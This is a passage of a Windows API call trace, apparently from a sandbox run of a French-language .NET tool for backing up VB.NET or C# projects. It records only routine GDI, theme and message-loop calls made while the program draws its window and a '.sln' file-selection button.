(hdc=0x270101b8, type=0x7) returned 0x210506ba [0245.824] GetCurrentObject (hdc=0x270101b8, type=0x6) returned 0x18a002e [0245.824] SaveDC (hdc=0x270101b8) returned 1 [0245.824] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x6a040789 [0245.824] GetClipRgn (hdc=0x270101b8, hrgn=0x6a040789) returned 0 [0245.824] SelectClipRgn (hdc=0x270101b8, hrgn=0x6f0401eb) returned 2 [0245.824] DeleteObject (ho=0x6a040789) returned 1 [0245.824] DeleteObject (ho=0x6f0401eb) returned 1 [0245.824] OffsetViewportOrgEx (in: hdc=0x270101b8, x=0, y=0, lppt=0x264d0fc | out: lppt=0x264d0fc) returned 1 [0245.824] DrawThemeParentBackground () returned 0x0 [0245.824] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be240 | out: lpwndpl=0x2be240) returned 1 [0245.824] GetClientRect (in: hWnd=0x40150, lpRect=0x2be1ec | out: lpRect=0x2be1ec) returned 1 [0245.824] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0245.824] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0245.824] GetSystemMetrics (nIndex=42) returned 0 [0245.824] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be07c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0245.824] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be07c) returned 0x23 [0245.824] GetClientRect (in: hWnd=0x40150, lpRect=0x2be0f4 | out: lpRect=0x2be0f4) returned 1 [0245.824] GetCurrentObject (hdc=0x270101b8, type=0x1) returned 0x1b00017 [0245.824] GetCurrentObject (hdc=0x270101b8, type=0x2) returned 0x1900010 [0245.824] GetCurrentObject (hdc=0x270101b8, type=0x7) returned 0x210506ba [0245.824] GetCurrentObject (hdc=0x270101b8, type=0x6) returned 0x18a002e [0245.824] SaveDC (hdc=0x270101b8) returned 2 [0245.825] GetNearestColor (hdc=0x270101b8, color=0xf0f0f0) returned 0xf0f0f0 [0245.825] CreateSolidBrush (color=0xf0f0f0) returned 0x381006a2 [0245.825] FillRect (hDC=0x270101b8, lprc=0x2bdf94, hbr=0x381006a2) returned 1 [0245.825] DeleteObject (ho=0x381006a2) returned 1 [0245.825] RestoreDC (hdc=0x270101b8, nSavedDC=-1) returned 1 [0245.825] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0245.825] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0245.825] GetSystemMetrics (nIndex=42) returned 0 [0245.825] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be01c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0245.825] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be01c) returned 0x23 [0245.825] GetClientRect (in: hWnd=0x40150, lpRect=0x2be094 | out: lpRect=0x2be094) returned 1 [0245.825] GetCurrentObject (hdc=0x270101b8, type=0x1) returned 0x1b00017 [0245.825] GetCurrentObject (hdc=0x270101b8, type=0x2) returned 0x1900010 [0245.825] GetCurrentObject (hdc=0x270101b8, type=0x7) returned 0x210506ba [0245.825] GetCurrentObject (hdc=0x270101b8, type=0x6) returned 0x18a002e [0245.825] SaveDC (hdc=0x270101b8) returned 2 [0245.825] GetNearestColor (hdc=0x270101b8, color=0xf0f0f0) returned 0xf0f0f0 [0245.825] CreateSolidBrush (color=0xf0f0f0) returned 0x391006a2 [0245.825] FillRect (hDC=0x270101b8, lprc=0x2bdf34, hbr=0x391006a2) returned 1 [0245.825] DeleteObject (ho=0x391006a2) returned 1 [0245.825] RestoreDC (hdc=0x270101b8, nSavedDC=-1) returned 1 [0245.825] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0245.825] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0245.825] GetSystemMetrics (nIndex=42) returned 0 [0245.825] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be01c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0245.826] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be01c) returned 0x23 [0245.826] RestoreDC (hdc=0x270101b8, nSavedDC=-1) returned 1 [0245.826] GdipReleaseDC (graphics=0x4ae5320, hdc=0x270101b8) returned 0x0 [0245.826] IsAppThemed () returned 0x1 [0245.826] GetThemeAppProperties () returned 0x3 [0245.826] GetThemeAppProperties () returned 0x3 [0245.826] IsAppThemed () returned 0x1 [0245.826] GetThemeAppProperties () returned 0x3 [0245.826] GetThemeAppProperties () returned 0x3 [0245.826] IsThemePartDefined () returned 0x1 [0245.826] GdipCreateRegion (region=0x2be428) returned 0x0 [0245.826] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0245.826] GdipCreateMatrix (matrix=0x2be428) returned 0x0 [0245.826] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0245.826] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be440) returned 0x0 [0245.826] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd4d0 [0245.826] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd4d0) returned 0x0 [0245.826] LocalFree (hMem=0x5fd4d0) returned 0x0 [0245.826] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd4d0 [0245.826] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd4d0) returned 0x0 [0245.826] LocalFree (hMem=0x5fd4d0) returned 0x0 [0245.826] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0245.826] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be468) returned 0x0 [0245.826] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be458) returned 0x0 [0245.826] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be458) returned 0x0 [0245.826] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0245.826] GdipGetDC (graphics=0x4ae5320, hdc=0x2be470) returned 0x0 [0245.826] GetCurrentObject (hdc=0x270101b8, type=0x1) returned 0x1b00017 [0245.826] GetCurrentObject (hdc=0x270101b8, type=0x2) returned 0x1900010 [0245.827] GetCurrentObject (hdc=0x270101b8, type=0x7) returned 0x210506ba [0245.827] GetCurrentObject (hdc=0x270101b8, type=0x6) returned 0x18a002e [0245.827] SaveDC (hdc=0x270101b8) returned 1 [0245.827] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x700401eb [0245.827] GetClipRgn (hdc=0x270101b8, hrgn=0x700401eb) returned 0 [0245.827] SelectClipRgn (hdc=0x270101b8, hrgn=0x6c040789) returned 2 [0245.827] DeleteObject (ho=0x700401eb) returned 1 [0245.827] DeleteObject (ho=0x6c040789) returned 1 [0245.827] OffsetViewportOrgEx (in: hdc=0x270101b8, x=0, y=0, lppt=0x264db34 | out: lppt=0x264db34) returned 1 [0245.827] IsAppThemed () returned 0x1 [0245.827] GetThemeAppProperties () returned 0x3 [0245.827] GetThemeAppProperties () returned 0x3 [0245.827] DrawThemeBackground () returned 0x0 [0245.827] RestoreDC (hdc=0x270101b8, nSavedDC=-1) returned 1 [0245.827] GdipReleaseDC (graphics=0x4ae5320, hdc=0x270101b8) returned 0x0 [0245.827] GdipCreateRegion (region=0x2be410) returned 0x0 [0245.827] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0245.827] GdipCreateMatrix (matrix=0x2be410) returned 0x0 [0245.827] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0245.827] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be428) returned 0x0 [0245.827] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd4d0 [0245.827] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd4d0) returned 0x0 [0245.827] LocalFree (hMem=0x5fd4d0) returned 0x0 [0245.827] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd4d0 [0245.827] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd4d0) returned 0x0 [0245.827] LocalFree (hMem=0x5fd4d0) returned 0x0 [0245.828] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0245.828] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be450) returned 0x0 [0245.828] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be440) returned 0x0 [0245.828] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be440) returned 0x0 [0245.828] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0245.828] GdipGetDC (graphics=0x4ae5320, hdc=0x2be458) returned 0x0 [0245.828] GetCurrentObject (hdc=0x270101b8, type=0x1) returned 0x1b00017 [0245.828] GetCurrentObject (hdc=0x270101b8, type=0x2) returned 0x1900010 [0245.828] GetCurrentObject (hdc=0x270101b8, type=0x7) returned 0x210506ba [0245.828] GetCurrentObject (hdc=0x270101b8, type=0x6) returned 0x18a002e [0245.828] SaveDC (hdc=0x270101b8) returned 1 [0245.828] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x6d040789 [0245.828] GetClipRgn (hdc=0x270101b8, hrgn=0x6d040789) returned 0 [0245.828] SelectClipRgn (hdc=0x270101b8, hrgn=0x710401eb) returned 2 [0245.828] DeleteObject (ho=0x6d040789) returned 1 [0245.828] DeleteObject (ho=0x710401eb) returned 1 [0245.828] OffsetViewportOrgEx (in: hdc=0x270101b8, x=0, y=0, lppt=0x264de08 | out: lppt=0x264de08) returned 1 [0245.828] IsAppThemed () returned 0x1 [0245.828] GetThemeAppProperties () returned 0x3 [0245.828] GetThemeAppProperties () returned 0x3 [0245.828] GetThemeBackgroundContentRect () returned 0x0 [0245.828] RestoreDC (hdc=0x270101b8, nSavedDC=-1) returned 1 [0245.828] GdipReleaseDC (graphics=0x4ae5320, hdc=0x270101b8) returned 0x0 [0245.828] IsAppThemed () returned 0x1 [0245.828] GetThemeAppProperties () returned 0x3 [0245.828] GetThemeAppProperties () returned 0x3 [0245.828] GdipGetTextRenderingHint (graphics=0x4ae5320, mode=0x2be588) returned 0x0 [0245.828] GdipGetDC (graphics=0x4ae5320, hdc=0x2be574) returned 0x0 [0245.828] GetCurrentObject (hdc=0x270101b8, type=0x1) returned 0x1b00017 [0245.829] GetCurrentObject (hdc=0x270101b8, type=0x2) returned 0x1900010 [0245.829] GetCurrentObject (hdc=0x270101b8, type=0x7) returned 0x210506ba [0245.829] GetCurrentObject (hdc=0x270101b8, type=0x6) returned 0x18a002e [0245.829] SaveDC (hdc=0x270101b8) returned 1 [0245.829] GetTextAlign (hdc=0x270101b8) returned 0x0 [0245.829] GetTextColor (hdc=0x270101b8) returned 0x0 [0245.829] GetCurrentObject (hdc=0x270101b8, type=0x6) returned 0x18a002e [0245.829] GetObjectW (in: h=0x18a002e, c=92, pv=0x2be27c | out: pv=0x2be27c) returned 92 [0245.829] SelectObject (hdc=0x270101b8, h=0x90a01e9) returned 0x18a002e [0245.829] GetBkMode (hdc=0x270101b8) returned 2 [0245.829] SetBkMode (hdc=0x270101b8, mode=1) returned 2 [0245.829] DrawTextExW (in: hdc=0x270101b8, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be350, format=0x2415, lpdtp=0x264e19c | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be350) returned 13 [0245.829] DrawTextExW (in: hdc=0x270101b8, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be508, format=0x2015, lpdtp=0x264e19c | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be508) returned 13 [0245.829] RestoreDC (hdc=0x270101b8, nSavedDC=-1) returned 1 [0245.829] GdipReleaseDC (graphics=0x4ae5320, hdc=0x270101b8) returned 0x0 [0245.830] GetFocus () returned 0x1019c [0245.830] IsAppThemed () returned 0x1 [0245.830] GetThemeAppProperties () returned 0x3 [0245.830] GetThemeAppProperties () returned 0x3 [0245.830] GdipGetDC (graphics=0x4ae5320, hdc=0x2be754) returned 0x0 [0245.830] BitBlt (hdc=0x100107ec, x=0, y=0, cx=163, cy=29, hdcSrc=0x270101b8, x1=0, y1=0, rop=0xcc0020) returned 1 [0245.830] GdipReleaseDC (graphics=0x4ae5320, hdc=0x270101b8) returned 0x0 [0245.830] SelectPalette (hdc=0x100107ec, hPal=0x188000b, bForceBkgd=0) returned 0x300807ef [0245.830] SelectObject (hdc=0x270101b8, h=0x185000f) returned 0x210506ba [0245.830] DeleteDC (hdc=0x270101b8) returned 1 [0245.830] GdipDeleteGraphics (graphics=0x4ae5320) returned 0x0 [0245.830] EndPaint (hWnd=0x1019c, lpPaint=0x2be6f8) returned 1 [0245.830] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0245.830] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0245.830] WaitMessage () returned 1 [0245.925] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0245.925] IsWindowUnicode (hWnd=0x20152) returned 1 [0245.925] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0245.925] TranslateMessage (lpMsg=0x2bec18) returned 0 [0245.925] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0245.925] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0245.925] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0245.925] WaitMessage () returned 1 [0246.138] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0246.138] IsWindowUnicode (hWnd=0x1019e) returned 1 [0246.138] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0246.138] TranslateMessage (lpMsg=0x2bec18) returned 0 [0246.138] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0246.138] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0246.138] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0246.138] WaitMessage () returned 1 [0247.024] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0247.024] IsWindowUnicode (hWnd=0x1019c) returned 1 [0247.024] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0247.024] GetKeyState (nVirtKey=16) returned 0 [0247.024] GetKeyState (nVirtKey=17) returned 0 [0247.024] GetKeyState (nVirtKey=18) returned -128 [0247.024] SendMessageW (hWnd=0x1019c, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0247.024] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0247.025] GetKeyState (nVirtKey=16) returned 0 [0247.025] GetKeyState (nVirtKey=17) returned 0 [0247.025] GetKeyState (nVirtKey=18) returned -128 [0247.025] TranslateMessage (lpMsg=0x2bec18) returned 1 [0247.025] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0247.025] GetKeyState (nVirtKey=16) returned 0 [0247.025] GetKeyState (nVirtKey=17) returned 0 [0247.025] GetKeyState (nVirtKey=18) returned -128 [0247.025] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x104, wParam=0x12, lParam=0x20380001) returned 0x0 [0247.025] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0247.025] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0247.025] WaitMessage () returned 1 [0247.036] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0247.036] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0247.036] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0247.036] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x46, wParam=0x0, lParam=0x2beb00) returned 0x0 [0247.063] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be8b0 | out: lpwndpl=0x2be8b0) returned 1 [0247.063] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x47, wParam=0x0, lParam=0x2beb00) returned 0x0 [0247.063] GetClientRect (in: hWnd=0x40150, lpRect=0x2be860 | out: lpRect=0x2be860) returned 1 [0247.063] GetWindowRect (in: hWnd=0x40150, lpRect=0x2be860 | out: lpRect=0x2be860) returned 1 [0247.064] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x47, wParam=0x0, lParam=0x2beb00) returned 0x0 [0247.064] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0xd, wParam=0x104, lParam=0x48edb8) returned 0x0 [0247.064] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0247.318] NtdllDefWindowProc_W () returned 0x0 [0247.318] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x1c, wParam=0x0, lParam=0x568) returned 0x0 [0247.318] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x1c, wParam=0x0, lParam=0x568) returned 0x0 [0247.318] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0247.318] GetCapture () returned 0x0 [0247.318] InvalidateRect (hWnd=0x1019c, lpRect=0x0, bErase=0) returned 1 [0247.318] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0247.320] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0247.320] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0247.320] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0247.320] IsWindowUnicode (hWnd=0x1019c) returned 1 [0247.320] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0247.320] TranslateMessage (lpMsg=0x2bec18) returned 0 [0247.320] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0247.320] BeginPaint (in: hWnd=0x1019c, lpPaint=0x2be6fc | out: lpPaint=0x2be6fc) returned 0x100107ec [0247.320] SelectPalette (hdc=0x100107ec, hPal=0x300807ef, bForceBkgd=1) returned 0x188000b [0247.320] CreateCompatibleDC (hdc=0x100107ec) returned 0x300101a0 [0247.321] SelectObject (hdc=0x300101a0, h=0x210506ba) returned 0x185000f [0247.321] GdipCreateFromHDC (hdc=0x300101a0, graphics=0x2be714) returned 0x0 [0247.321] GdipTranslateWorldTransform (graphics=0x4ae5320, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0247.321] GdipSetClipRectI (graphics=0x4ae5320, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0247.321] GdipCreateMatrix (matrix=0x2be75c) returned 0x0 [0247.321] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0247.321] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be774) returned 0x0 [0247.321] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd4d0 [0247.322] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd4d0) returned 0x0 [0247.322] LocalFree (hMem=0x5fd4d0) returned 0x0 [0247.322] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0247.322] GdipCreateRegion (region=0x2be75c) returned 0x0 [0247.322] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0247.322] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be768) returned 0x0 [0247.322] GdipSaveGraphics (graphics=0x4ae5320, state=0x2be794) returned 0x0 [0247.322] GdipRestoreGraphics (graphics=0x4ae5320, state=0xfd8f0dbd) returned 0x0 [0247.322] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0247.323] GdipGetDC (graphics=0x4ae5320, hdc=0x2be580) returned 0x0 [0247.323] GetCurrentObject (hdc=0x300101a0, type=0x1) returned 0x1b00017 [0247.323] GetCurrentObject (hdc=0x300101a0, type=0x2) returned 0x1900010 [0247.323] GetCurrentObject (hdc=0x300101a0, type=0x7) returned 0x210506ba [0247.323] GetCurrentObject (hdc=0x300101a0, type=0x6) returned 0x18a002e [0247.323] SaveDC (hdc=0x300101a0) returned 1 [0247.323] GetNearestColor (hdc=0x300101a0, color=0xf0f0f0) returned 0xf0f0f0 [0247.323] GetNearestColor (hdc=0x300101a0, color=0xa0a0a0) returned 0xa0a0a0 [0247.323] GetNearestColor (hdc=0x300101a0, color=0x696969) returned 0x696969 [0247.323] GetNearestColor (hdc=0x300101a0, color=0xa0a0a0) returned 0xa0a0a0 [0247.323] GetNearestColor (hdc=0x300101a0, color=0x0) returned 0x0 [0247.324] GetNearestColor (hdc=0x300101a0, color=0xffffff) returned 0xffffff [0247.324] GetNearestColor (hdc=0x300101a0, color=0xe5e5e5) returned 0xe5e5e5 [0247.324] GetNearestColor (hdc=0x300101a0, color=0xd7d7d7) returned 0xd7d7d7 [0247.324] GetNearestColor (hdc=0x300101a0, color=0x0) returned 0x0 [0247.324] RestoreDC (hdc=0x300101a0, nSavedDC=-1) returned 1 [0247.324] GdipReleaseDC (graphics=0x4ae5320, hdc=0x300101a0) returned 0x0 [0247.324] IsAppThemed () returned 0x1 [0247.324] GetThemeAppProperties () returned 0x3 [0247.324] GetThemeAppProperties () returned 0x3 [0247.324] IsAppThemed () returned 0x1 [0247.324] GetThemeAppProperties () returned 0x3 [0247.324] GetThemeAppProperties () returned 0x3 [0247.324] DrawTextExW (in: hdc=0xb0101e5, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be43c, format=0x2415, lpdtp=0x2688eb4 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be43c) returned 13 [0247.325] IsAppThemed () returned 0x1 [0247.325] GetThemeAppProperties () returned 0x3 [0247.325] GetThemeAppProperties () returned 0x3 [0247.325] IsAppThemed () returned 0x1 [0247.325] GetThemeAppProperties () returned 0x3 [0247.325] GetThemeAppProperties () returned 0x3 [0247.325] GetFocus () returned 0x0 [0247.325] IsAppThemed () returned 0x1 [0247.325] GetThemeAppProperties () returned 0x3 [0247.325] GetThemeAppProperties () returned 0x3 [0247.325] IsAppThemed () returned 0x1 [0247.325] GetThemeAppProperties () returned 0x3 [0247.325] GetThemeAppProperties () returned 0x3 [0247.325] IsThemePartDefined () returned 0x1 [0247.325] IsAppThemed () returned 0x1 [0247.325] GetThemeAppProperties () returned 0x3 [0247.325] GetThemeAppProperties () returned 0x3 [0247.326] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0247.326] IsAppThemed () returned 0x1 [0247.326] GetThemeAppProperties () returned 0x3 [0247.327] GetThemeAppProperties () returned 0x3 [0247.327] IsAppThemed () returned 0x1 [0247.327] GetThemeAppProperties () returned 0x3 [0247.327] GetThemeAppProperties () returned 0x3 [0247.327] IsThemePartDefined () returned 0x1 [0247.327] GdipCreateRegion (region=0x2be484) returned 0x0 [0247.327] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0247.327] GdipCreateMatrix (matrix=0x2be484) returned 0x0 [0247.327] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0247.327] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be49c) returned 0x0 [0247.328] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd4d0 [0247.328] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd4d0) returned 0x0 [0247.328] LocalFree (hMem=0x5fd4d0) returned 0x0 [0247.328] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd4d0 [0247.328] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd4d0) returned 0x0 [0247.328] LocalFree (hMem=0x5fd4d0) returned 0x0 [0247.328] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0247.328] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be4c4) returned 0x0 [0247.328] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be4b4) returned 0x0 [0247.328] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be4b4) returned 0x0 [0247.328] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0247.328] GdipGetDC (graphics=0x4ae5320, hdc=0x2be4cc) returned 0x0 [0247.329] GetCurrentObject (hdc=0x300101a0, type=0x1) returned 0x1b00017 [0247.329] GetCurrentObject (hdc=0x300101a0, type=0x2) returned 0x1900010 [0247.329] GetCurrentObject (hdc=0x300101a0, type=0x7) returned 0x210506ba [0247.329] GetCurrentObject (hdc=0x300101a0, type=0x6) returned 0x18a002e [0247.329] SaveDC (hdc=0x300101a0) returned 1 [0247.329] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x720401eb [0247.329] GetClipRgn (hdc=0x300101a0, hrgn=0x720401eb) returned 0 [0247.329] SelectClipRgn (hdc=0x300101a0, hrgn=0x74040789) returned 2 [0247.330] DeleteObject (ho=0x720401eb) returned 1 [0247.330] DeleteObject (ho=0x74040789) returned 1 [0247.330] OffsetViewportOrgEx (in: hdc=0x300101a0, x=0, y=0, lppt=0x268a6f8 | out: lppt=0x268a6f8) returned 1 [0247.330] DrawThemeParentBackground () returned 0x0 [0247.330] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be240 | out: lpwndpl=0x2be240) returned 1 [0247.330] GetClientRect (in: hWnd=0x40150, lpRect=0x2be1ec | out: lpRect=0x2be1ec) returned 1 [0247.330] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0247.330] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0247.330] GetSystemMetrics (nIndex=42) returned 0 [0247.330] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be07c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0247.330] CallWindowProcW 